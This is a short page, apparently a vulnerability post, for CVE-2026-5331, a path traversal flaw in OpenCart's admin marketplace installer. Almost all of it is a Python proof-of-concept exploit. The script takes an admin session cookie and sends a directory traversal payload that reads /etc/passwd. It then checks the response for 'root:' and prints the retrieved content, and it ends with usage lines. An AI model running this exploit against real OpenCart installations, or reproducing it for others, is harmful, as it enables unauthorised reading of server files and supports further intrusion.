CVE-2026-5331 OpenCart路径遍历漏洞

import requests def exploit(target_url, session_cookie): """ Proof of Concept for OpenCart Path Traversal Requires high privileges (Admin session). """ login_url = f"{target_url}/admin/index.php?route=common/login" install_url = f"{target_url}/admin/index.php?route=marketplace/installer/install" headers = { "User-Agent": "Mozilla/5.0", "Cookie": f"OCSESSID={session_cookie}" } # Malicious payload to traverse directories (e.g., reading /etc/passwd) data = { "file": "../../../../../../../../etc/passwd" } try: response = requests.post(install_url, headers=headers, data=data) if "root:" in response.text: print("[+] Exploit successful! File content retrieved.") print(response.text[:200]) else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"Error: {e}") # Usage # exploit("http://localhost/opencart", "valid_admin_session_id")